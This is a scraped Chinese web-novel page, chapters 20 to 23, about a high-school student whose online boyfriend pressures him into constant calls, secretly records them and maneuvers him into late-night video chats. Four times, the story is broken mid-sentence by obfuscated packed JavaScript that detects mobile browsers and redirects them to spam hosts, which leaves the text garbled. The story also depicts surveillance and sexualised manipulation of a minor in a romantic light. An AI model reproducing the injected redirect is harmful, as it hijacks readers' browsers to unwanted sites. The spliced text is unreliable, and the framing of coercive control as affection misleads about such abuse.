;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573871|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许颂单手揣着兜,点了点头,说昨天放学漏了张卷子在学校,现在提前去学校做。 听完解释许高富一脸说教的姿态:“平时做事怎么不严谨一点,丢三落四都是什么婆婆妈妈的习惯?要是以后高考忘带准考证……” 许颂习惯性地唔了声,换完鞋后便出门了,许高富的声音很快被关在门内变得朦胧不清,耳边秦弛有些愠怒的声音便显得明显。 许颂揣在兜里的手将手机声音键打开,说话的速度有些缓慢跟秦弛解释:“手机在兜里不小心碰到了,不是故意关声音的,哥哥。” 许颂其实很不会说谎,他想要让自己说出来的话显得真实,但语气却不受控制地虚浮。 秦弛没有戳穿他,只是意味不明地提醒:“没有下次,颂颂。” 许颂闷头保证,朝着学校的方向走,他家距离二中步行需要十七分钟,大概要过四个红绿灯。 每次靠近斑马线的方位时,秦弛便会问他是不是要过红绿灯了。 说实话秦弛真的算得很准,就好像知道四个红绿灯的位置一样,这个想法不禁让许颂有些诧异,诧异的同时心里隐隐觉得不安,就好像这段经常行走的道路被秦弛在看不见的情况下摸熟了。 其实许颂这个后知后觉的谨慎有些晚了点,早在前段时间秦弛时不时询问他路径时,他就应该有所察觉,但单凭一段路,似乎也不能令许颂发觉什么问题。 毕竟每座城市的道路交错繁杂,重复的轨迹成千上万,想以这种方式来找到一个人似乎比大海捞针还要困难。 许颂步伐缓慢地穿过斑马线,沿着步行道右转,与早早等在石凳边的凌航对个正着。 凌航的精神状态不怎么好,眼睛有些虚肿着,平时俏皮的卷发有些潦草地炸着,他的视线落在许颂耳边的耳机上,脸色难看了几分。 许颂为了做那张漏带的卷子,提前了一个小时上学,但其实那张只有半页题的试卷半个小时内就能做完,所以压根不需要提前太多时间去学校。 许颂之所以这么早上学,主要还是因为凌航。 他上午忽然给许颂发来消息说他跟简澄阳分手了。 20.坏 在许颂的印象里,凌航和简澄阳的感情十分甜蜜,并且算得上夸张。 两人的聊天框里不是宝宝长宝宝短就是哥哥长哥哥短,甚至恋爱纪念日都得按十天过一次。 不仅简澄阳会给凌航转账,凌航也会特地在网上挑礼物送到a大。 所以许颂一直觉得他跟秦弛的恋爱比较含蓄。 但就是这么突然的,凌航发来消息说他跟简澄阳分手了。许颂记得凌航上周还在给简澄阳挑着恋爱一百二十天的纪念礼物。 碍于许颂还在跟秦弛连着通话,凌航只能撑着肿肿的眼皮朝许颂脑袋揉来一把,张口无声说:先去学校吧。 许颂揣在兜里的手指抵在手机背板上蜷缩着,有些抱歉地点头往前走。 耳边传来秦弛温柔的声音,问他是不是要到第四个红绿灯了。 秦弛并不知道他停下来了,许颂也不想让对方知道,于是低低唔了声,当是糊弄过去了。 凌航盯着许颂右耳的耳机,不知道他们交流了什么。 他伸手在许颂兜里翻了下,没找到另一个,反倒把注意力放在听秦弛说话的许颂弄得一脸懵。 凌航放弃地摆了摆手,表情带着怨念继续挎着,往日张扬的气势变得颓败无比。 耳机里,一开始对许颂提前上学没有反应的秦弛这时候忽然问:“颂颂今天去学校的时间好像有些早呢,是有别的事情要做吗?” 许颂含糊地应了声,并没有将事情解释清楚的意思,但即便他不主动说,秦弛也会刨根问底询问他去做什么。 许颂知道自己多说多错,所以言简意赅地说去做漏带回家的试卷。 某种意思上他并没有撒谎,他的确要去学校做漏带的试卷,只是不需要提前过去而已。 真假掺半的内容让许颂的语气自然许多,秦弛没有起疑,思考起在校内继续跟许颂保持通话的可行性。 不过很快秦弛便将这个想法抹去了。 许颂的胆子并不大,揣手机上学已经是他最大的勇气了。 平时在课室,许颂连翻书包都要犹豫谨慎,生怕被发现违禁品,更何况是让他在校内使用手机。 即便对许颂提前去学校有些不满,秦弛也只能选择体谅,但体谅的同时,在即将到学校时又拖延了许颂大半的时间。 凌航靠着围墙,听着许颂瓮声瓮气跟秦弛告别,哄了许久才真正挂断通话。 他眉毛几乎揪在一起,直到许颂藏完手机才嘴一撇,憋了半天的话倒水一般说出来:“通话从早上到现在一直没断过,他这样跟监听真的没区别了吧,你真的没有发觉异常吗?” 凌航从上午约许颂出门当面聊跟简澄阳分手的事情时,知道秦弛要求许颂休息时间一直跟对方保持着通话后,便觉得不对劲了。 正常网恋谁会要求对象一直拨着通话不允许挂断的?就算不是监听,能够做出这种行为的也肯定不是什么正常人。 而且简澄阳不是什么好家伙,秦弛自然也好不到哪里去! 凌航包含恶意地骂道。 许颂拉上书包拉链,闻言背书包的动作变得迟缓有些温吞地解释:“没有一直通话的,下午手机充电的时候挂断过。” 秦弛不允许许颂充电使用手机,所以每当手机电量告捷时,许颂便有半个多小时的自由时间,不需要跟秦弛保持通话也不需要即刻回复秦弛的消息。 但少了秦弛的陪伴,许颂反而会觉得孤独,连刷题的时间都变得漫长枯燥了。 凌航觉得自己介绍许颂跟秦弛网恋就是一个错误,就像他当初为了解闷,去找简澄阳网恋一样。 许颂的反应慢,平时也跟不上潮流,无法分辨网络上的尔虞我诈,即便被忽悠了也无法第一时间察觉出来。 凌航想到这里,神色有些严肃地说:“要不你跟秦弛分手吧,我觉得他不对劲。” 许颂原本在抓着书包带子看着学校的地砖走路,闻言表情僵愣地侧头看着凌航,嘴唇缓慢地嚅动着说:“为、为什么啊。” 凌航察觉出了许颂的犹豫,撑着干涩的眼睛认真地跟许颂对视,说:“你知道我跟简澄阳为什么分手吗?” 许颂呆呆地摇头,凌航张了张嘴又徒劳地抿了下唇,鼻尖开始酸了:“因为简澄阳当初通过我好友的时候就想耍我,在他眼里我们根本不是在网恋。” 他撑着眼皮,往日热情跳脱的声音变得落败哽咽:“他一直把我当电子宠物,没事干逗一逗开心的时候逗一逗,故意把我耍得团团转,然后觉得好玩!” 虽然凌航网恋的初衷也是想要找个人解解闷,但这并不代表着他付出的感情是假的,昨晚在简澄阳口中得知这一切之后,凌航哭着骂了一晚上,最后直接把人删除拉黑。 但即便这样,凌航心里还留着一丝期望,没有拉黑简澄阳的电话号码,但直到早上九点他都没有收到对方的短信和电话,最后崩溃地将简澄阳的电话也拉黑删除了。 许颂有些手忙脚乱地翻出兜里的纸巾给坐在绿化带边的凌航擦眼泪,因为不会安慰人只能笨拙地学习大人哄小孩的模样伸手去给凌航拍背。 凌航早上好不容易平复的情绪重新上来,一边吸鼻涕一边骂人,他平时人缘好还没吃过这么大的跟头,而且还是在网络上,连报仇都办法。 “简澄阳不是什么好人,秦弛肯定也好不到哪里去,平时聊天和打视频的样子其实都是装的,你跟秦弛也快分手吧……” 凌航在原地擦完眼泪,眼睛变得又红又肿,把双眼皮挤得大大一片,模样有些唬人。 许颂没有回复凌航的话,他将那些脏纸巾收进垃圾桶后,蹑手蹑脚做到凌航旁边,抱着书包小心翼翼,一紧张说话就有些结巴:“你怎么知道,简澄阳,这么坏的,是别人说的吗?” 凌航声音没什么起伏说:“他自己喝醉说的。” 许颂贫瘠的大脑搜刮着安慰人的话,说话的语速不自觉变得缓慢,干巴巴地说:“喝醉可能是说胡话,他本意可能不是这个意思。” “酒后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600208|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还吐真言呢。”凌航顶着丧揩鼻涕道。 许颂一梗,实在想不出什么好话了,他也觉得简澄阳这么做很坏,没有人愿意被当作宠物,就好像成了可以被随意抛弃的阿猫阿狗一样。 凌航情绪发泄完又重新对他说:“你跟秦弛分手吧,他肯定也不是什么好人,我怀疑要求你休息一直跟他通电话,也是有什么目的。” 许颂思前想后暂时没有发现自己身上有什么有价值的地方,自然的,他身边好像也没有。 凌航见状只好把对方的目的点明:“要是他跟简澄阳一样故意逗你呢?” 许颂觉得跟秦弛通电话并不能对他达成伤害,甚至通话时秦弛的说话声一定程度上还能缓解他的乏闷和孤独。 假如秦弛真的要以此来逗弄他,那这个方式其实很划算,既满足了对方的需求也满足了他的需求。 凌航并不知道许颂愚笨的头脑在想什么,语重心长说:“你不要不以为然,现在骗子太多了。” 即便见过一面,救过自己一次也不见得是什么好东西。 凌航劝许颂分手,许颂却在想假如秦弛真的跟简澄阳一样,跟他网恋就是为了玩弄他,那么对方玩弄的方式对他而言完全无法造成实质性伤害,反而对方给予的陪伴、关心是许颂所需要的。 他其实不相信网络建立起来的恋爱,因为相隔万里,双方可以互相堆砌任何无法求证的谎言。 他们所说的喜欢和爱可能只出现在屏幕之间,离开了这个媒介就没有了,于是刚好,许颂以此得到了他最需要的东西。 对许颂来说,只要不见面,任何的伤害都微乎其微。 凌航已经从许颂写满思考的脸上看出了所以然,只当许颂是第一次恋爱头脑不清晰,劝他赶紧跟秦弛分手,不要沉浸在那些圈套里了,免得被刺得猝不及防。 许颂闻言只能带着一丝丝为秦弛辩护的念头,对凌航说:“可是为什么他耍我玩,还要帮我整理题库教我做题……” 凌航十分清醒地判断:“说明他在对症下药。” 许颂还是带着一丝挣扎:“而且我们一直保持通话,秦弛能听见我的声音,我也能听见他的,他可能真的跟简澄阳不一样……” “人以类聚、狐朋狗友、一丘之貉。”凌航咬着牙审判。 许颂大脑真的找不出一句可以论证的话了,闻言局促扣着手指不知道如何答话。 凌航看着许颂坐在位置上纠结,摆明了不听劝的意思,他不可能眼睁睁看着许颂跟他一样被人耍,只能尽可能把人拉回来。 “现在舍不得,那就提前定一个结束期限做戒断,不然秦弛腻了主动跟你分手怎么办?” 许颂闻言绷紧肩膀,在凌航的视线下乖乖点头。 凌航不知道许颂到底有没有听进去,又继续提醒:“还有家庭地址,千万不能让他知道,分手肆意报复怎么办?” 凌航之所以有这个担忧,是因为他已经在心里打算高考后,去首都在A大门口埋人了。 21.距离 许颂虽然警惕性很低,但也不是没有底线,假如真令他感知到了危险,他肯定会毫不犹豫地逃开。 就像预知危机的豚鼠一样,反应迟钝只是他们释放给敌人放松警惕的错觉,而逃跑和躲避才是他们真正的本能。 但凌航的话在一定程度上提醒了许颂。 他看似犹豫不决的模样,心里却不可避免地生出戒备。 许颂并不希望以后在毫无准备的时候收到秦弛提分手的讯息,会很被动,也的确会被玩弄得很彻底。 但他心里又带着一丝的侥幸想法希望秦弛跟简澄阳不一样,他没感受过太多温柔备至的关心,这段时间跟秦弛网恋时得到了太多,假如忽然失去了,其实有些接受不了落差。 许颂希望秦弛可以伪装的久一点,这样他就有足够的时间去做戒断准备了。 两人提前上学却在操场绿化带边坐了半个多小时。 原本迎面的阳光随着时间一点点爬远了,周边的气温也随之慢慢降低,就连浅浅的晚风吹过来都令两人哆嗦的肩膀一抖。 凌航的眼睛这时候已经不红了,就是眼皮依旧肿着,被风吹得很疼。 他骂了简澄阳半天,心里觉得舒坦了一点,将自己衣服拉链拉高在脖子上,学着许颂的模样将下巴埋进去,声音闷闷说:“我们回课室吧。” 许颂抱着书包站起来唔了声,刘海被风刮地凌乱无比,镜框下的眼睛被风刺得微微眯了起来。 凌航看见了,控制不住地伸手捂在许颂的脸颊边,捏着他的脸上下乱搓,许颂的脑袋也跟着被捏得一动一动,镜框斜斜挂在鼻梁边跟着动作摇晃。 凌航看着他呆萌的模样,郁闷的心情都化解了。 许颂乖顺地站原地,等凌航松开手后,顶着泛红的脸颊去观察凌航的情绪,确定凌航心情好转后,才温吞地扶正眼镜,有些欢快地跟凌航一起回课室。 …… 秦弛将下午的通话录音放进加密文件中,垂眸看着十二月的日历,手指缓慢地敲打着桌面,对旁边振动不停的手机置之不理。 下一次打视频应该在什么时候呢? 秦弛在心里预估许颂能够接受的节奏,手指握起笔在下一周的元旦画下标注。 希望下一次视频的时间能够长一点呢。 秦弛唇边噙着愉悦的淡笑,这时才抬手拾起振动不止的手机,脸上的神态重新归为淡漠。 他接过简澄阳的电话,眉梢微不可闻地拧着,冷淡的声音带着一丝不耐:“什么事?” “大哥,我给你发了十几条消息打了三个电话你都没接,别告诉我你没看手机……” 简澄阳宿醉后的声音粗哑沧桑,秦弛面无表情调低手机音量,淡声嘲讽:“哪里来的鸭子。” 简澄阳少有的没跟往常一样怼回来,而是继续说话:“那什么,把许颂的微信推给我,我问他点事儿。” “……” 简澄阳:“喂?听见没?快点,我有急事……” “什么事?”秦弛冷声重新重复了起初的问话。 简澄阳没答,只要他把许颂的微信转过来。 秦弛单手扶着鼠标,视线从购物网页中露骨的服饰扫过,淡淡道:“没事挂了。” 简澄阳靠了声,骂秦弛过河拆桥。 模仿他的告白手段就不说了,他好歹还教了秦弛如何堆雪人哄许颂开心,结果现在他有难,对方连电话都不接。 秦弛虽然说挂了,但手指却没有按下挂断的意思。 他十分敏锐地推测简澄阳找许颂跟许颂今天忽然提前一个小时去学校有关系,所以耐心等简澄阳说完话,才漫不经心提醒:“什么事直接说,我代为转达。” 简澄阳啧了声,手压着昏胀地太阳穴,只能先跟告诉秦弛:“我刚刚一觉醒来发现凌航忽然在微信上骂了我一顿,还把我的联系方式全都删除拉黑了,我现在找不到人,你把许颂微信推过来我先把事情问清楚……” “你们分手了?” 秦弛漆黑的瞳孔中深不见底,紧紧注视着许颂的聊天框。 简澄阳说话的声音一顿,想起那段近一个小时的通话记录,他并不知道自己当时说了什么,才导致凌航骂完他sb之后把他所有的联系方式拉黑删除了。 简澄阳最后的记忆是身边人指着他的手机说有人打电话过来,再往后的事情他便真的回忆不起来,他喝断片了。 简澄阳想到这里就懊恼不已,揉着发痛的眉心诚实地答:“我不知道,所以才需要找许颂问问……”以许颂跟凌航的关系,不可能不知道昨晚发生了什么…… 说着,简澄阳愤恨地低骂了一声,“李颉一直求我参加他的生日派对,家里最近跟李家有合作,不好拒绝,谁知道这个暴发户把朗姆和白兰地混在一起当啤酒喝。” 言归正传,简澄阳咳了声,再次道:“这事一来二去说不清,你还是把许颂的微信发过来吧……” 话未说完,秦弛冷冰冰的嗓音从听筒中无情的传过来:“你的事情自己解决,他没时间。” 话毕,通话便挂断了。 简澄阳简直气得不打一处,对着秦弛的微信怒骂了十几条,最后只能继续借程匀深的手机给凌航发短信。 秦弛将手机啪地盖在桌面上,脸上的神情近乎冰冷,视线挪道书桌边上的相框中,锋利的眼睛带着微微怒意。 相框里,许颂趴在桌面上,胆小地露出一双乖顺的眼睛,整人无害而脆弱,看得秦弛牙根微微咬紧。 他皮笑肉不笑地想,看来许颂又撒谎了呢。 …… 晚修放学,室外的气温更低了。 二中只有夏秋校服,学校平时规矩多,即便是冬天,在校园里也得套着校服外套。 秋季外套薄薄一层,许多学生往衣服里塞卫衣毛衣厚外套,将校服外套撑得又大又蓬。 许颂里头只穿了两件长袖,从课室出来,手指揣在兜里,被走廊的寒风吹得透心凉。 凌航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617771|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来看见了,转头把课室柜里的备用外套翻出来塞给许颂,没好气说:“月底降温快,你这几天穿这么薄真的不怕冷吗?” 许颂左右观察了下,确定晚修放学时间没有老师抓仪容仪表后,才安心地窝进凌航的羽绒外套里,小声说:“新外套还没到,旧外套都穿不上了,只能先忍忍。” 许颂高二下学年才开始串个子,原本从矮矮的一六七硬是串到了一七八。 “那就先穿你哥的嘛,你哥的总穿得下。”凌航将他脖子边的领子捋直,揪着他朝楼梯走。 许颂穿得圆滚滚的跟在凌航身后,声音在热闹的楼道里很清润,“他的衣服都带走了。” 许颂以前冬天其实经常穿许祐的衣服,但都是对方穿剩下、不想要的外套、卫衣。 许祐偶尔会追求时髦,穿过一个冬天的衣服下一个冬天便不想再穿了,于是许高富索性让许颂将那些衣服继承了,反正许颂对服饰没什么要求,穿着舒服都能接受,正好省了一份花销。 不过许祐上大学后衣柜搬空了,这也就导致许颂的衣柜里衣服减少了许多。 他长高之后能穿的衣服寥寥无几,于是降温后,李洁给他重新买了几套衣服,只是物流比较慢。 凌航闻言疑惑地啊了声,说:“为什么?最后不都要带回家的吗?” 许颂说不知道,但其实知道一点。 他跟许祐住在一个房间里,做什么都能互相注意到,小时候还好,长大后变得就很不方便了。 特别是许祐上高中之后,对跟许颂共住一个房间更加不满,曾对着初二的许颂开玩笑让他去杂物间住一晚试试看行不行。 就算许颂说行,李洁肯定也不会同意,所以许祐心里一直很不满。 考上首都之后,节日长假除非必要几乎都不回家,暑假回来也是三两头往朋友家跑,却从来不带朋友到家里做客。 因为许祐觉得成年还需要跟弟弟共住一个房间很丢脸。 许祐完全继承了李洁和许高富要面子的基因,他觉得呆板老土的许颂会让他丢脸,所以初高中时在外面见到许颂从来不愿意打招呼,也不愿意让许颂被身边的朋友认识。 不过许祐的这些行为许颂都可以理解,毕竟他身边除了凌航,挺多人不喜欢跟他玩的…… 许颂边走边想着,旁边的凌航忽然拍了下手,侧头看过来好奇说:“你哥在首都读哪个大学来着,B大还是R大?” 许颂闻言步伐缓慢了些,大脑反应了两秒才道:H大。” 说完他后知后觉感到紧张,问凌航:“跟A大不近吧?” 凌航在首都旅游,还逛过不少大学的校区,于是继续问许颂知不知道他哥在H大哪个校区。 许颂说了后,凌航才道:“秦弛应该是跟简澄阳一样在A大主校区,和H大分校区那边离得可远了。” 怕许颂担心,他还继续说:“而且他们就算离得近也不一定能够见着,就算见着了也是陌生人擦肩而过呀。” 22.犯错 许颂的心闻言短暂地安定下来,觉得凌航说的话不无道理。 他揣在衣兜的手指暖洋洋的,走路的步伐也变得轻松了。 凌航并肩走在许颂身旁,带着担心靠在许颂耳朵边又道:“但我还是觉得你跟秦弛网恋不太靠谱,最好还是趁早挑个好日子把他甩了吧。” 许颂耳朵被凌航的气息打得很痒,他半张脸埋在羽绒外套领子下慢吞吞地点头。 凌航见状才放心了些,然而刚踏出校门便看见许颂从书包翻出手机像往常一样准备给秦弛拨电话了。 他有些看不下去了,提醒许颂应该对秦弛得寸进尺的行为感到警惕,至少不要让秦弛把他所有的空闲时间都霸占了。 许颂也觉得自己对秦弛的陪伴太过依赖了,应该适当地开始戒一点,但假如现在突然不给秦弛打电话了,对方肯定会生闷气,所以许颂的动作有些犹豫。 凌航并不是要许颂立马就跟人摊牌的意思,只是想让他不要那么被动,但就是这犹豫的几分钟,秦弛的电话直接拨了过来。 两人的视线都不由自主地落在了手机屏幕上,秦弛二字在路灯下异常耀眼,刺激着心照不宣密谋的两个人。 许颂有些手足无措地抓着手机,不知道该不该接通秦弛电话,最后还是凌航回过神,让许颂先把通话接了。 许颂接通电话后,先入为主地软声喊了句哥哥。 无辜温顺的声音令另一端急躁了近七分钟的秦弛气焰燎得更高。 他脸上的神情近乎阴郁,说话时却只能压制着愠怒的脾气,伪装出云淡风轻的模样,说:“颂颂今天放学好像忘记打电话过来了。” 许颂心虚地看了凌航一眼,低声说没有,现在才刚从学校出来。 许颂虚浮的语气几乎漏洞百出,秦弛联想到简澄阳下午那通电话,手指在许颂的照片上反复摩挲,像是预料到了什么,那双漆黑的眼睛里酝酿着意味不明的风暴。 耳机中突然陷入安静,让许颂心里有些打鼓,就在他以为自己的谎言被戳破的时候,耳边终于传来秦弛善解人意的声音。 “这样吗,看来是我误会颂颂了。” 明明是跟往日一样温柔的腔调,许颂却莫名心悸了下,仿佛昭示着什么不安似的,但事实上这个话题很快就被带过去了,秦弛跟往常一样陪着他放学,偶尔才会传来温声的话语。 对方似乎在办公,键盘敲击声很明显。 许颂一路上记着凌航的提醒,脑中一直斟酌着怎么跟秦弛说出口。 如果说许颂对秦弛的依赖性很强,那么秦弛的控制欲也低不到哪里去,不过许颂从来不觉得那是秦弛的控制,他只以为对方比较粘人而已。 回到家,许颂从浴室洗完澡出来终于鼓起勇气主动告诉秦弛他不想再一直开着手机保持通话了,觉得这样很奇怪。 “颂颂只是觉得奇怪么……” 秦弛声音低低的呢喃,而后温柔的嗓音重新传入许颂耳朵,带着一丝命令的语气:“这并没有什么,颂颂习惯这种感觉就好了。” 如果是往常,许颂半推半就地就妥协了,但现在他已经下定决心摆脱对网恋的依赖,态度便没之前那么软绵了,带着坚持道:“我不想这样,哥哥。” 秦弛的周遭的气氛仿佛被怨念凝成了冰雪,他的下颌线条紧紧绷着,冷峻的侧脸在灯光辉煌中竟然显得有些阴森。 “是么。” 他的气息轻飘飘的,散发丝丝缕缕的凉气,仿佛能从话筒中传过来将许颂包裹,“那颂颂想要如何呢。” 许颂下意识吸了吸鼻子,觉得后背有些冷,他这几天穿得太单薄,已经有了着凉的架势。 他慢吞吞将自己钻进被窝里,有些费劲地思考着。 如果完全不跟秦弛通电话,他舍不得,但如果很经常跟秦弛通电话,那戒起来就没效果了。 秦弛耐心等了几分钟,在许颂焦头烂额的思考间,又忽然说话了。 “颂颂真的不想跟我通电话吗?还是因为凌航跟简澄阳分手,颂颂害怕我有问题呢?” 秦弛直白、准确的问话将许颂打得猝不及防,将他正在思考中的大脑完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14643282|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打乱了,他的心跳节奏随着这一刻开始加快,仿佛要从薄薄的胸腔跳出去,他的呼吸也不由自主地跟着加速了。 他既因为心事被戳穿感到紧张又对秦弛是否在准备摊牌而感到恐慌。 许颂有时候真的很笨拙。 面对这种情况,他为了稳住气氛,让自己强行开口说话,然而嘴巴磕磕巴巴否认的模样反而像是心虚坐实。 许颂感受着不断跳动的右眼皮,手指微微攥紧被子,学着网上的语调张了张唇,又软声喊了一声哥哥。 沉默的秦弛这时终于有了回应。 “颂颂有时候真的很喜欢撒娇。” 特别是犯错的时候。 许颂闻言皮肤嗡得红了,脸颊抵在米白色的枕头上,血色异常明显。 许颂已经没有心思回答秦弛的话了,甚至在绕来绕去间忘记了自己本来的目的。 他面红耳赤地从被窝里露出脑袋透气,听见秦弛低哑的嗓音。 “我们开视频聊聊吧,颂颂。” “我觉得我们之间有一些误会需要认真谈一谈。” 许颂闻言整个人僵了僵,没有第一时间答应秦弛的话,尽量维持着镇定小声问:“什么误会呀。” 秦弛没回答,只说开视频再聊,将许颂糊弄地晕头转向。 许颂的房间已经关了灯,只床头开了一盏台灯,光线淡淡笼罩着人。 许颂就这么被牵着鼻子,在昏暗的环境下打开了自己的镜头。 因为光线差,他的脸在镜头成像有些模糊,这恰恰也让许颂的内心对视频通话没有那么排斥。 许颂穿着灰色的毛绒睡衣,宽大的睡衣圆领刚好卡在锁骨边,随着他坐躺的动作塌下一片,露出胸前大片皮肤。 他身上血色还没有消失殆尽,浅淡地蔓延在皮肤间,在淡白灯光下显露着别样的旖旎。 秦弛端坐在镜头前视线从许颂身上每一处地方滑过,内心无比确定地认为,许颂根本没有表面上那么无害,他在故意勾引自己,甚至勾引的手法很拙劣,他一眼就能看穿。 23.决定 屏幕中的男人穿着高领毛衣,黑发带着一丝揪心的潦草,仿佛经历了种种担忧纠葛,往日矜贵的形象变得忧虑伤情,温柔的眉眼灼灼注视着镜头,令许颂心跳落了半拍。 秦弛的模样无疑是带有欺骗性的,所以许颂并不可能推测出对方端庄表面之下的臆想。 他只能在对方狂热的视线下,不自在地将手机挪远,扯着被子遮掩在胸前,而后很没安全感地把下巴抵在上面,怯怯跟秦弛对视,小小声喊了句哥哥。 秦弛看着屏幕中的画面轻轻应了声,垂落的手指颤栗地捏紧,但脸上的表情依旧温柔自然,在视频中极具迷惑性。 “光线太暗了,颂颂可以将镜头那近一点么?”他柔声请求。 许颂闻言攥着手机的手指收紧了下,脸颊贴在绵软的被子上,脸上的光线因此变得昏暗不均,唯有镜框下那双眼睛闪着浅浅眸光。 他看着秦弛,语气带着一丝坚持说:“这样子聊天就好了,哥哥。” 秦弛少有地没有展露出一丝负面状态,像是对结果早有预料。 他端详着许颂的神态,即便画面迷糊不清,依旧能从中辨析出对方的表情,眼睛失落地低垂着,忽然开始步入正题:“颂颂突然不想跟我保持通话是因为凌航跟简澄阳分手了,对吗。” 许颂闻言僵硬地挺着脖子注视着屏幕,肾上腺素因为紧张而飙升,不禁令心跳乱拍,他困难地控制着自己的声音,“不、不是的。” 视频通话能够很清晰地传达双方的状态,即便许颂的镜头画面不那么清晰,但他坐立不安的状态依旧能够很彻底地被秦弛发觉。 秦弛祥装不觉,只是眼底的光芒暗淡了些许,唇间地淡笑变得勉强无比:“那好好的,颂颂为什么突然不想跟我保持通话了呢?” 他的喉咙苦涩地滚动着,继续传来温柔而诚恳的声音,“我不知道他们分手存在的误会和矛盾是否影响了颂颂,可我还是很想要跟颂颂解释清楚。” 他说着顿了顿,眼底裹挟着汹涌的情感,深情而专注地注视着许颂:“我跟简澄阳可能不太一样,我不会随意地找一个人恋爱,因为我的喜欢很吝啬,不会轻易交给别人,我是真的很喜欢颂颂,想要关心、照顾颂颂……才会想要跟颂颂网恋的,并不是玩玩而已。” 说着,他有些颓然地垂下眼,神情在冷白灯光下有些脆弱:“我的恋爱态度可能跟普通人不太一样,所以才总是想要事无巨细地了解颂颂身边的情况……颂颂如果接受不了我也会改,但请颂颂不要因为其他人而怀疑我的真心,好吗?” 说完这番话,秦弛垂下头,喉口痛苦地吞咽着,凌乱的发丝垂落在眉骨边,嘴唇微微下沉,浑身散发着酸楚而伤感的气息。 然而在许颂看不见的视角下,那双垂落的眼睛里遮掩的是近乎病态的偏执 秦弛的话如同危险的蛇信引诱窝居在洞的猎物一般,将许颂的戒备心一点点撬动了。 完全在状况外的许颂被秦弛这段突然其来的告白撞得晕头转向,反应迟钝地判断着。 秦弛说他跟简澄阳不一样是否意味着他并不是因为其他目的才跟自己网恋的呢? 还是说真的会有人为了玩弄别人故意装出一副深情的样子呢? 许颂微微抬着眼皮觑了屏幕里的秦弛一眼,不禁被对方难受的视线刺得动容,心想怎么可能会有人把喜欢装的这么真呢? 许颂看着秦弛难过的姿态,内心有些酸软,他将手机微微举前了一些,埋在被子间的嘴唇艰难地嚅动着,想要安慰对方:“……我没有怀疑哥哥……只是觉得一直保持通话很奇怪。” 许颂一边缓慢地说着一边思考下一句要说的话,“我们可以跟以前一样,回家再通电话的……” 秦弛伤心地看着他,忽然说:“只能晚上跟颂颂打电话吗?” 许颂的思考被打断,说话也跟着停顿下来,看着秦弛的模样斟酌了几秒,退一步说:“中午也可以打。” “早上呢?”秦弛望着他。 “也、也可以。”许颂对上那双温柔的眼睛不坚定道。 “可是以前好多时间都可以跟颂颂聊天……”秦弛察觉出许颂的动摇,转而反客为主地抱怨。 许颂抱着手机有些不知道该怎么哄人了,他的脑袋微微侧靠着枕头,蓬松的头发乱糟糟贴在脸颊边,在不知不觉间抱着手机躺下了,并且还把手机靠得很前。 许颂的脸颊被浅淡的灯光照得雪白,秦弛视线贪婪地在那处皮肤游走,忽然轻声道:“那颂颂以后在家都跟我打视频通话吧,这样就没那么难受了。” 他没给许颂拒绝的机会又道:“不用颂颂在家一直保持通话,颂颂想挂就挂,好吗。” 虽说是问句,但秦弛并没有询问的意思。 许颂为难地咬着唇没有答话,秦弛神情受伤地看着他,英俊的眉眼颓然地下垂着,将他的犹豫变得煎熬。 许颂挣扎地思考着。 秦弛说视频通话不需要一直保持通话,他想挂就能挂,那就代表着他掌握了视频通话的决定权。 这样的话对他来说似乎也不错。 许颂心想着,最终妥协地同意了。 秦弛也终于从低落的情绪里走出来,重新展露笑意。 许颂显然已经忘记了自己本来的目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 